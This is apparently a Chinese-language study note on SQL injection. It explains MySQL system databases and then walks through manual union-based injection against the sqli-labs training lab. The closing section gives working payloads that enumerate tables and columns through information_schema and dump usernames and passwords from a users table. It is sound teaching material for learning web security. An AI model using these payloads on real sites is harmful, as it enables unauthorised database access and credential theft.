SQL注入原理
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行指定的SQL语句。
LA
SQL注入漏洞的产生需要满足两个关键条件
(1)参数用户可控:前端传入后端的参数内容是用户可控的.
(2)参数带入数据库查询:传入的参数拼接到SQL后可,且带入数据库查询
一、数据库服务器层级关系:
服务器里有多个数据库,数据库里有多个数据表,数据表里有多个行 列 字段,字段里有数据
二、系统库
比较重要的四个库:
1、information_schema库:
是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息;例如数据库或表的名称,列的数据类型或访问权限。有时用于此信息的其他术语是数据字典和系统目录。web渗透过程中用途很大。|
(1)SCHEMATA表:提供了当前MySQL实例中所有数据库信息,show databases结果取之此表。
(2)TABLES表:提供了关于数据中表的信息。table_name
(3)COLUMNS表:提供了表的列信息,详细描述了某张表的所有列以及每个列的信息。column_name
2、performance_schema库具有87张表。
MySQL 5.5开始新增一个数据库:PERFORMANCE_SCHEMA,主要用于收集数据库服务器性能参数。内存数据库,数据放在内存中直接操作的数据库。相对于磁盘,内存的数据读写速度要高出几个数量级。
3、mysql库
是核心数据库,类似于sql server中的master表,主要负责存储数据库的用户(账户)信息、权限设置、关键字等mysql自己需要使用的控制和管理信息。不可以删除,如果对mysql不是很了解,也不要轻易修改这个数据库里面的表信息。
常用举例:在mysql.user表中修改root用户的密码
4、sys库
具有1个表,100个视图。
sys库是MySQL 5.7增加的系统数据库,这个库是通过视图的形式把information_schema和performance_schema结合起来,查询出更加令人容易理解的数据。
可以查询谁使用了最多的资源,哪张表访问最多等。
三、常用到的sql语句语法
1、查询当前数据库服务器的所有数据库
show databases;
2、选中某个数据库
use 数据库名字;
3、查询当前数据库所有的表
show tables;
4、查询
select 语句;
5、合并查询
union 语句;
union特性:前面的查询语句和后面的查询语句结果互不干扰。前面的查询语句的字段数量和后边的查询语句字段数量要一致。
6、排序
order by语句;
四、尝试手工注入(以sqllabs第二关为例)
此处需要了解浏览器进行数据提交到服务器一般有两种方式:(1)get 通过url 速度快(2)post 通过服务器 安全性更高,数据量更大
1、判断有无注入点
(我输入的参数如果有运行,则有注入点)
经典例子:url后加入and 1 = 1没有变化,或者随便输入报错,则说明有注入点
id=1后运行,有注入点
2、猜解列名数量(order by 函数)
order by 1 逐渐加一到4后报错,说明有三个字段。
3、报错的方式,判断回显点(union 函数)
显示2 3,说明这两处是回显点
4、信息搜集
version()函数,查看数据库版本,5.0以上的版本有系统库,低版本无
database()函数,查询对应数据库
5、使用对应sql 进行注入
# 查找security库下面所有的表名
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
# . 表示下一级
# group_concat函数,将结果合并在一起
#查找users表中的字段
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
#上一张图观察到username和password,所以查找这两个字段
union select 1,2,(select group_concat(username,0x3a,password) from users)
#0x3a代表:号的16进制